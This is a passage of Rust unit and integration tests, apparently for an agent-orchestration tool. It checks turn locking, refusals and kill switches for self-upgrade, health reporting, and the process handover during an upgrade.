18799 .expect("CLI starter"),
18800 crate::consult::Started::Busy
18801 );
18802 assert_eq!(consult_snapshot(&ui, &q, &id), before);
18803 assert!(ui.is_thinking(&id));
18804 drop(guard);
18805 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
18806 }
18807
18808 #[tokio::test]
18809 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
18810 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
18811 let q = consult_question(&ui);
18812 let talk = ui.talks.get(&id).expect("talk");
18813 let started = tmp.path().join("started");
18814 let release = tmp.path().join("release");
18815 let script = tmp.path().join("consult-agent.sh");
18816 std::fs::write(
18817 &script,
18818 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
18819 )
18820 .expect("script");
18821 let mut cfg = stub_config();
18822 cfg.agents[0].id = "mock".to_owned();
18823 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
18824 cfg.agents[0].env = std::collections::BTreeMap::from([
18825 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
18826 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
18827 ]);
18828 let questions = ui.questions.clone();
18829 let cli_talks = Talks::at(ui.home.join("talks"));
18830 let cli_q = q.clone();
18831 let turn = tokio::spawn(async move {
18832 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
18833 });
18834 let ready = tokio::time::timeout(Duration::from_secs(30), async {
18835 while !started.exists() {
18836 tokio::time::sleep(Duration::from_millis(10)).await;
18837 }
18838 })
18839 .await;
18840 let refusal = if ready.is_ok() {
18843 let before = consult_snapshot(&ui, &q, &id);
18844 let result = talk_say(
18845 State(Arc::clone(&ui)),
18846 Path(id.clone()),
18847 Ok(Json(NewTalkTurn {
18848 reply_to: None,
18849 text: "another message".to_owned(),
18850 attachments: Vec::new(),
18851 })),
18852 )
18853 .await;
18854 Some((result, before, consult_snapshot(&ui, &q, &id)))
18855 } else {
18856 None
18857 };
18858 std::fs::write(&release, "").expect("release agent");
18859 let done = turn.await.expect("join CLI turn");
18860 ready.expect("agent started before deadline");
18861 let (result, before, after) = refusal.expect("web request");
18862 let error = result.expect_err("web must refuse the CLI's turn");
18863 assert_eq!(error.status, StatusCode::CONFLICT);
18864 assert!(error.message.contains("a turn is already running"));
18865 assert_eq!(
18866 after, before,
18867 "refusal preserves question, draft and history"
18868 );
18869 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
18870 let guard = ui
18871 .begin_talk_turn(&id)
18872 .expect("web claim")
18873 .expect("free again");
18874 drop(guard);
18875 }
18876
18877 #[test]
18878 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
18879 let home = TempDir::new().expect("temp home");
18880 let talks = Talks::at(home.path().join("talks"));
18881 let ui = Ui::new(
18882 Queue::at(home.path().join("queue")),
18883 Questions::at(home.path().join("questions")),
18884 talks.clone(),
18885 home.path().join("runs"),
18886 home.path().to_path_buf(),
18887 PathBuf::from("/repo"),
18888 )
18889 .with_worktrees_root(home.path().join("wt"));
18890 let id = "20260901-000000-order";
18891 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
18892 let slots = ui.talk_turns.lock().unwrap();
18894 let dropper = std::thread::spawn(move || drop(turn));
18895 let start = std::time::Instant::now();
18896 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
18897 std::thread::sleep(Duration::from_millis(5));
18898 }
18899 assert!(!talks.turn_held(id), "the lease is released first");
18900 assert!(slots.live.contains(id), "the slot is still held meanwhile");
18901 drop(slots);
18902 dropper.join().expect("join");
18903 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
18904 }
18905
18906 #[tokio::test]
18907 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
18908 let fx = Fixture::start().await;
18909 let mut beat = crate::daemon::Status::new();
18913 beat.pid = 4321;
18914 beat.updated_at = jiff::Timestamp::now();
18915 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18916 .expect("publish a heartbeat");
18917
18918 let res = fx.post("/api/upgrade", None).await;
18919 assert_eq!(res.status, 409);
18920 let err = res.json()["error"].as_str().unwrap().to_owned();
18921 assert!(err.contains("4321"), "the refusal names the owner: {err}");
18922 assert!(err.contains("old one against the same queue"), "{err}");
18923 }
18924
18925 #[test]
18932 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
18933 assert!(!should_spawn_recheck(&crate::config::Update {
18934 mode: UpdateMode::Off,
18935 interval: None,
18936 }));
18937
18938 unsafe {
18941 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
18942 }
18943 let killed = should_spawn_recheck(&crate::config::Update {
18944 mode: UpdateMode::Notify,
18945 interval: None,
18946 });
18947 unsafe {
18948 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
18949 }
18950 assert!(
18951 !killed,
18952 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
18953 one-time startup check"
18954 );
18955
18956 assert!(should_spawn_recheck(&crate::config::Update {
18957 mode: UpdateMode::Notify,
18958 interval: None,
18959 }));
18960 }
18961
18962 #[test]
18968 fn recheck_poll_period_tracks_a_short_configured_interval() {
18969 let short = crate::config::Update {
18970 mode: UpdateMode::Notify,
18971 interval: Some("1m".to_owned()),
18972 };
18973 let period = recheck_poll_period(&short);
18974 assert!(
18975 period <= Duration::from_secs(30),
18976 "a one-minute interval must wake the task far sooner than the \
18977 default ceiling, or the deck would not notice within the \
18978 interval the operator configured: got {period:?}"
18979 );
18980
18981 let default = crate::config::Update {
18982 mode: UpdateMode::Notify,
18983 interval: None,
18984 };
18985 assert_eq!(
18986 recheck_poll_period(&default),
18987 UPDATE_RECHECK_POLL_MAX,
18988 "the default day-long interval should poll at the (capped) \
18989 ceiling rather than needlessly often"
18990 );
18991 }
18992
18993 #[test]
19001 fn recheck_skips_the_network_before_the_interval_elapses() {
19002 let dir = TempDir::new().expect("temp dir");
19003 let path = dir.path().join("state.json");
19004 let state = kaishin::UpdateCheckState {
19005 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
19006 last_known_latest: None,
19007 last_known_url: None,
19008 };
19009 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
19010
19011 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
19012 assert!(
19013 !update_recheck_due(&checker, None),
19014 "a check made moments ago must not be repeated before the \
19015 configured interval elapses"
19016 );
19017 }
19018
19019 #[test]
19025 fn recheck_defers_to_an_upgrade_already_in_flight() {
19026 let dir = TempDir::new().expect("temp dir");
19027 let path = dir.path().join("state.json");
19028 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
19029 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
19030
19031 assert!(
19032 !update_recheck_due(&checker, Some(&progress)),
19033 "a recheck must not run while an upgrade this deck started is \
19034 still moving"
19035 );
19036 }
19037
19038 #[tokio::test]
19039 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
19040 unsafe {
19052 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
19053 }
19054 let fx = Fixture::start().await;
19055 let res = fx.post("/api/upgrade", None).await;
19056 unsafe {
19057 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
19058 }
19059 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
19060 let body = res.json();
19061 assert!(body["to"].is_null(), "there was no release to move to");
19062 assert!(body["parked"].is_null(), "and nothing was parked");
19063 assert!(
19064 body["detail"]
19065 .as_str()
19066 .unwrap()
19067 .contains("disabled by MAGI_NO_AUTOUPDATE"),
19068 "{body:?}"
19069 );
19070 }
19071
19072 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
19073 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
19074 p.stage = stage;
19075 p
19076 }
19077
19078 #[test]
19079 fn busy_stages_match_the_ui_set() {
19080 use crate::updater::Stage;
19081 assert!(APP_JS.contains(
19082 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
19083 ));
19084 for s in [
19085 Stage::Downloading,
19086 Stage::Replaced,
19087 Stage::Parking,
19088 Stage::Restarting,
19089 ] {
19090 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
19091 }
19092 for s in [Stage::Done, Stage::Failed] {
19093 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
19094 }
19095 assert!(upgrade_in_motion(None).is_none());
19096 }
19097
19098 #[tokio::test]
19099 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
19100 use crate::updater::Stage;
19101 for stage in [
19102 Stage::Downloading,
19103 Stage::Replaced,
19104 Stage::Parking,
19105 Stage::Restarting,
19106 ] {
19107 let fx = Fixture::start().await;
19108 let seeded = seeded_progress(stage);
19109 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
19110 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
19111 .expect("read");
19112
19113 let res = fx.post("/api/upgrade", None).await;
19114 assert_eq!(res.status, 409, "{stage:?}");
19115 let err = res.json()["error"].as_str().unwrap().to_owned();
19116 assert!(err.contains("already in progress"), "{err}");
19117 assert!(err.contains(stage.as_str()), "{err}");
19118
19119 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
19120 .expect("read");
19121 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
19122 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
19123 .unwrap_or_default();
19124 assert!(!log.contains("signalling HANDOVER"), "{log}");
19125 }
19126 }
19127
19128 #[tokio::test]
19129 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
19130 use crate::updater::Stage;
19131 let repo = TempDir::new().expect("repo dir");
19132 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19133 .expect("write magi.toml");
19134 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19135 for stage in [Stage::Done, Stage::Failed] {
19136 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
19137 let res = fx.post("/api/upgrade", None).await;
19138 assert_eq!(res.status, 200, "{stage:?}");
19139 }
19140 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
19142 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
19143 }
19144
19145 #[tokio::test]
19146 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
19147 let repo = TempDir::new().expect("repo dir");
19163 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19164 .expect("write magi.toml");
19165 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19166
19167 let res = fx.post("/api/upgrade", None).await;
19173 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
19174 let body = res.json();
19175 assert!(body["to"].is_null(), "there was no release to move to");
19176 assert!(body["parked"].is_null(), "and nothing was parked");
19177 assert!(
19178 body["detail"]
19179 .as_str()
19180 .unwrap()
19181 .contains("nothing restarted"),
19182 "{body:?}"
19183 );
19184 }
19185
19186 #[tokio::test]
19187 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
19188 let repo = TempDir::new().expect("repo dir");
19193 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19194 .expect("write magi.toml");
19195 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19196
19197 let health = fx.get("/api/health").await.json();
19198 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
19199 assert_eq!(
19200 health["update"]["available"], false,
19201 "checking is off, which reads as \"unknown\", not \"none\""
19202 );
19203 assert!(health["update"]["to"].is_null());
19204 assert!(
19205 health["upgrade"].is_null(),
19206 "nothing has ever asked this deck to upgrade"
19207 );
19208 }
19209
19210 #[tokio::test]
19211 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
19212 let fx = Fixture::start().await;
19213 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
19214
19215 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19216 progress.parked_run = Some("20260905-000000-cd51".to_owned());
19217 progress.advance(crate::updater::Stage::Parking);
19218 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19219
19220 let health = fx.get("/api/health").await.json();
19221 assert_eq!(health["upgrade"]["stage"], "parking");
19222 assert_eq!(health["upgrade"]["from"], "0.5.1");
19223 assert_eq!(health["upgrade"]["to"], "0.5.2");
19224 let waiting_on = health["upgrade"]["waiting_on"]
19225 .as_str()
19226 .expect("waiting_on is set while parking a known run");
19227 assert!(waiting_on.contains("cd51"), "{waiting_on}");
19228 assert!(waiting_on.contains("implementing"), "{waiting_on}");
19229 }
19230
19231 #[tokio::test]
19232 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
19233 let fx = Fixture::start().await;
19234 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19235 progress.advance(crate::updater::Stage::Done);
19236 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19237
19238 let health = fx.get("/api/health").await.json();
19239 assert_eq!(health["upgrade"]["stage"], "done");
19240 assert!(
19241 health["upgrade"]["waiting_on"].is_null(),
19242 "nothing to wait on once it is done"
19243 );
19244 }
19245
19246 #[tokio::test]
19247 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
19248 let home = TempDir::new().expect("temp home");
19249 let runs = home.path().join("runs");
19250 std::fs::create_dir_all(&runs).expect("runs dir");
19251 let ui = Ui::new(
19252 Queue::at(home.path().join("queue")),
19253 Questions::at(home.path().join("questions")),
19254 Talks::at(home.path().join("talks")),
19255 runs,
19256 home.path().to_path_buf(),
19257 PathBuf::from("/repo/magi"),
19258 )
19259 .with_launch(launch_idle);
19260 let looping = ui.looping();
19261 let turns = ui.turns();
19262 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19263 .await
19264 .expect("bind loopback");
19265 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
19266
19267 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19268 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
19269
19270 hand_over(
19271 home.path(),
19272 &looping,
19273 &turns,
19274 &|_: &[String]| Duration::from_secs(5),
19275 served,
19276 |_| Ok(1),
19277 )
19278 .await
19279 .expect("hand over");
19280
19281 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
19282 assert_eq!(
19283 after.stage,
19284 crate::updater::Stage::Restarting,
19285 "hand_over owns the record through parking and up to restarting; \
19286 the successor is what finishes it"
19287 );
19288 }
19289
19290 #[tokio::test]
19293 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
19294 for fail in [false, true] {
19295 let home = TempDir::new().expect("temp home");
19296 let ui = idle_ui(&home);
19297 let looping = ui.looping();
19298 let turns = ui.turns();
19299 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19300 .await
19301 .expect("bind loopback");
19302 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
19303 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19304 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
19305
19306 let calls = std::sync::atomic::AtomicUsize::new(0);
19307 let outcome = hand_over(
19308 home.path(),
19309 &looping,
19310 &turns,
19311 &|_: &[String]| Duration::from_secs(5),
19312 served,
19313 |_| {
19314 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19315 if fail {
19316 anyhow::bail!("no exec")
19317 } else {
19318 Ok(4242)
19319 }
19320 },
19321 )
19322 .await;
19323 assert_eq!(outcome.is_err(), fail);
19324 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19325
19326 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
19327 .expect("upgrade.log is written under the home");
19328 for step in [
19329 "entered",
19330 "finish_loop",
19331 "listener released",
19332 "starting the successor",
19333 ] {
19334 assert!(log.contains(step), "missing `{step}` in:\n{log}");
19335 }
19336 assert!(
19337 log.contains(if fail { "did not start" } else { "pid 4242" }),
19338 "{log}"
19339 );
19340 }
19341 }
19342
19343 #[tokio::test]
19346 async fn the_handover_signal_wakes_one_waiter_once() {
19347 let signal = Notify::new();
19348 signal.notify_one();
19350 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
19351 .await
19352 .expect("an early signal is still seen");
19353 assert!(
19355 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
19356 .await
19357 .is_err(),
19358 "a consumed signal must not wake a second time"
19359 );
19360 let signal = std::sync::Arc::new(signal);
19362 let waiter = tokio::spawn({
19363 let signal = std::sync::Arc::clone(&signal);
19364 async move { wait_for_handover(&signal).await }
19365 });
19366 tokio::time::sleep(Duration::from_millis(20)).await;
19367 assert!(!waiter.is_finished(), "nothing was signalled yet");
19368 signal.notify_one();
19369 tokio::time::timeout(Duration::from_secs(5), waiter)
19370 .await
19371 .expect("a late signal wakes the waiter")
19372 .expect("join");
19373 }
19374
19375 #[tokio::test]
19376 async fn health_says_how_long_a_handover_has_been_stuck() {
19377 let fx = Fixture::start().await;
19378 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19379 progress.advance(crate::updater::Stage::Replaced);
19380 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
19381 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19382
19383 let health = fx.get("/api/health").await.json();
19384 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
19385 assert!(stuck >= 600, "{stuck}");
19386 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
19387 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
19388 }
19389
19390 #[tokio::test]
19391 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
19392 let home = tempfile::tempdir().expect("temp home");
19393 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19394 progress.advance(crate::updater::Stage::Parking);
19395 crate::updater::write_progress(home.path(), &progress).expect("seed");
19396 let mut again = progress.clone();
19398 again.advance(crate::updater::Stage::Replaced);
19399 crate::updater::write_progress(home.path(), &again).expect("replaced");
19400 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19401 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
19402 let after = crate::updater::read_progress(home.path()).expect("record");
19403 assert_eq!(after.stage, crate::updater::Stage::Parking);
19404 }
19405
19406 #[tokio::test]
19407 async fn health_does_not_call_a_live_parking_wait_stuck() {
19408 let fx = Fixture::start().await;
19409 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19410 progress.parked_run = Some("20260905-000000-cd51".to_owned());
19411 progress.advance(crate::updater::Stage::Parking);
19412 let hours = Duration::from_secs(3 * 3600);
19413 progress.started_at = Timestamp::now() - hours;
19414 progress.updated_at = Timestamp::now() - hours;
19415 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19416 let _lease = crate::updater::LeaseGuard::enter(
19417 fx.home.path(),
19418 Some("20260905-000000-cd51".to_owned()),
19419 );
19420
19421 let health = fx.get("/api/health").await.json();
19422 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
19423 assert!(health["upgrade"]["stuck_kind"].is_null());
19424 assert_eq!(health["upgrade"]["handover_alive"], true);
19425 let waiting_on = health["upgrade"]["waiting_on"]
19426 .as_str()
19427 .expect("waiting_on");
19428 assert!(waiting_on.contains("cd51"), "{waiting_on}");
19429 }
19430
19431 fn idle_ui(home: &TempDir) -> Ui {
19432 let runs = home.path().join("runs");
19433 std::fs::create_dir_all(&runs).expect("runs dir");
19434 Ui::new(
19435 Queue::at(home.path().join("queue")),
19436 Questions::at(home.path().join("questions")),
19437 Talks::at(home.path().join("talks")),
19438 runs,
19439 home.path().to_path_buf(),
19440 PathBuf::from("/repo/magi"),
19441 )
19442 .with_launch(launch_idle)
19443 }
19444
19445 async fn park_fixture(
19446 home: &TempDir,
19447 ) -> (
19448 Ui,
19449 Arc<Mutex<LoopState>>,
19450 Arc<Mutex<TalkTurns>>,
19451 tokio::task::JoinHandle<std::io::Result<()>>,
19452 ) {
19453 let ui = idle_ui(home);
19454 let looping = ui.looping();
19455 let turns = ui.turns();
19456 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19457 .await
19458 .expect("bind loopback");
19459 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
19460 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19461 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
19462 (ui, looping, turns, served)
19463 }
19464
19465 #[tokio::test]
19469 async fn hand_over_waits_for_a_running_chat_turn() {
19470 let home = TempDir::new().expect("temp home");
19471 let (ui, looping, turns, served) = park_fixture(&home).await;
19472 let ui = Arc::new(ui);
19473 let id = "20260901-000000-chat";
19474 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19475
19476 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
19477 let handover = tokio::spawn({
19478 let home = home.path().to_path_buf();
19479 let turns = Arc::clone(&turns);
19480 let calls = Arc::clone(&calls);
19481 async move {
19482 hand_over(
19483 &home,
19484 &looping,
19485 &turns,
19486 &|_: &[String]| Duration::from_secs(60),
19487 served,
19488 move |_| {
19489 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19490 Ok(1)
19491 },
19492 )
19493 .await
19494 }
19495 });
19496
19497 let waiting = async {
19498 for _ in 0..200 {
19499 if crate::updater::read_progress(home.path())
19500 .is_some_and(|p| p.parked_talks == [id.to_owned()])
19501 {
19502 return;
19503 }
19504 tokio::time::sleep(Duration::from_millis(25)).await;
19505 }
19506 panic!("the park never named the chat turn");
19507 };
19508 waiting.await;
19509 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
19510
19511 let refused = ui.begin_talk_turn("20260901-000000-late").err();
19514 assert!(
19515 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
19516 "a direct start says an upgrade is in progress"
19517 );
19518 assert!(
19519 ui.begin_queued_talk_turn("20260901-000000-late")
19520 .expect("queued claim")
19521 .is_none()
19522 );
19523 assert!(matches!(
19524 ui.begin_talk_turn_unless_pending("20260901-000000-late")
19525 .expect("start"),
19526 TalkTurnStart::Busy
19527 ));
19528 assert_eq!(turns.lock().unwrap().live.len(), 1);
19529
19530 let progress = crate::updater::read_progress(home.path()).expect("progress");
19532 let view = upgrade_progress_view(&ui, progress);
19533 assert!(
19534 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
19535 "{:?}",
19536 view.waiting_on
19537 );
19538
19539 assert!(!handover.is_finished());
19540 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
19541 drop(turn);
19542 handover.await.expect("join").expect("hand over");
19543 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19544 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
19545 }
19546
19547 #[tokio::test]
19550 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
19551 let home = TempDir::new().expect("temp home");
19552 let (ui, looping, turns, served) = park_fixture(&home).await;
19553 let ui = Arc::new(ui);
19554 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
19556 lock_or_recover(&looping).live = Some(Live {
19557 stop: daemon::Stop::new(),
19558 handle: tokio::spawn(async move {
19559 let _ = loop_ended.await;
19560 }),
19561 opts: daemon::Opts::default(),
19562 });
19563
19564 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
19565 let handover = tokio::spawn({
19566 let home = home.path().to_path_buf();
19567 let turns = Arc::clone(&turns);
19568 let calls = Arc::clone(&calls);
19569 async move {
19570 hand_over(
19571 &home,
19572 &looping,
19573 &turns,
19574 &|_: &[String]| Duration::from_secs(60),
19575 served,
19576 move |_| {
19577 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19578 Ok(1)
19579 },
19580 )
19581 .await
19582 }
19583 });
19584
19585 let reached = async {
19586 for _ in 0..200 {
19587 if crate::updater::read_progress(home.path())
19588 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
19589 {
19590 return;
19591 }
19592 tokio::time::sleep(Duration::from_millis(25)).await;
19593 }
19594 panic!("the hand-over never reached parking");
19595 };
19596 reached.await;
19597
19598 assert!(!turns.lock().unwrap().parking);
19600 let turn = ui
19601 .begin_talk_turn("20260901-000000-chat")
19602 .expect("claim")
19603 .expect("a turn can start while the loop parks");
19604
19605 end_loop.send(()).expect("loop still waiting");
19607 for _ in 0..200 {
19608 if turns.lock().unwrap().parking {
19609 break;
19610 }
19611 tokio::time::sleep(Duration::from_millis(25)).await;
19612 }
19613 assert!(
19614 turns.lock().unwrap().parking,
19615 "closed once the loop is done"
19616 );
19617 let refused = ui.begin_talk_turn("20260901-000000-late").err();
19618 assert!(
19619 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
19620 "no turn starts once the loop is done"
19621 );
19622 assert!(
19623 ui.begin_queued_talk_turn("20260901-000000-late")
19624 .expect("queued claim")
19625 .is_none()
19626 );
19627 assert!(!handover.is_finished());
19628 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
19629
19630 drop(turn);
19631 handover.await.expect("join").expect("hand over");
19632 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19633 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
19634 }
19635
19636 #[tokio::test]
19639 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
19640 let home = TempDir::new().expect("temp home");
19641 let (ui, looping, turns, served) = park_fixture(&home).await;
19642 let id = "20260901-000000-stuk";
19643 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19644
19645 let calls = std::sync::atomic::AtomicUsize::new(0);
19646 hand_over(
19647 home.path(),
19648 &looping,
19649 &turns,
19650 &|_: &[String]| Duration::from_millis(300),
19651 served,
19652 |_| {
19653 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19654 Ok(1)
19655 },
19656 )
19657 .await
19658 .expect("hand over");
19659 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19660
19661 let progress = crate::updater::read_progress(home.path()).expect("progress");
19662 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
19663 assert!(
19664 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
19665 "{:?}",
19666 progress.detail
19667 );
19668 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
19669 assert!(
19670 log.contains("handing over anyway") && log.contains(id),
19671 "{log}"
19672 );
19673 }
19674
19675 #[tokio::test]
19678 async fn drain_loop_starts_no_turn_while_parking() {
19679 let tmp = TempDir::new().expect("tempdir");
19680 let repo = tmp.path().join("repo");
19681 std::fs::create_dir_all(&repo).expect("repo dir");
19682 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
19683 let home = TempDir::new().expect("temp home");
19684 let talks = Talks::at(home.path().join("talks"));
19685 let ui = Ui::new(
19686 Queue::at(home.path().join("queue")),
19687 Questions::at(home.path().join("questions")),
19688 talks.clone(),
19689 home.path().join("runs"),
19690 home.path().to_path_buf(),
19691 repo.clone(),
19692 )
19693 .with_worktrees_root(home.path().join("wt"));
19694 let cfg = config_for(&repo).await.expect("discover config");
19695 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
19696 let id = talk.id.clone();
19697 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
19698 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
19699 let turns = ui.turns();
19700 let parking = ParkingTurns::begin(&turns);
19701
19702 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
19703
19704 assert!(
19705 turns.lock().unwrap().live.is_empty(),
19706 "the slot is given up"
19707 );
19708 let fresh = talks.get(&id).expect("talk");
19709 assert_eq!(fresh.pending, "later", "the draft is still queued");
19710 assert!(fresh.turns.is_empty(), "no turn ran");
19711 drop(parking);
19712 }
19713
19714 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
19716 let looping = ui.looping();
19717 let turns = ui.turns();
19718 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19719 .await
19720 .expect("bind loopback");
19721 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
19722 let told = std::sync::Mutex::new(None);
19723 hand_over(
19724 home.path(),
19725 &looping,
19726 &turns,
19727 &|_: &[String]| Duration::from_secs(5),
19728 served,
19729 |resume| {
19730 *told.lock().unwrap() = Some(resume);
19731 Ok(1)
19732 },
19733 )
19734 .await
19735 .expect("hand over");
19736 told.into_inner().unwrap().expect("successor was started")
19737 }
19738
19739 #[tokio::test]
19740 async fn a_running_loop_is_resumed_by_the_successor() {
19741 let home = TempDir::new().expect("temp home");
19742 let ui = idle_ui(&home);
19743 ui.start_loop(None).expect("start");
19744 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19745 for _ in 0..500 {
19747 if !ui.loop_view(None).running {
19748 break;
19749 }
19750 tokio::time::sleep(Duration::from_millis(2)).await;
19751 }
19752 assert!(handed_over(&home, ui).await, "a running loop must resume");
19753
19754 let successor = idle_ui(&home);
19755 assert!(!successor.loop_view(None).running);
19756 assert!(successor.resume_after_handover(true));
19757 assert!(successor.loop_view(None).running);
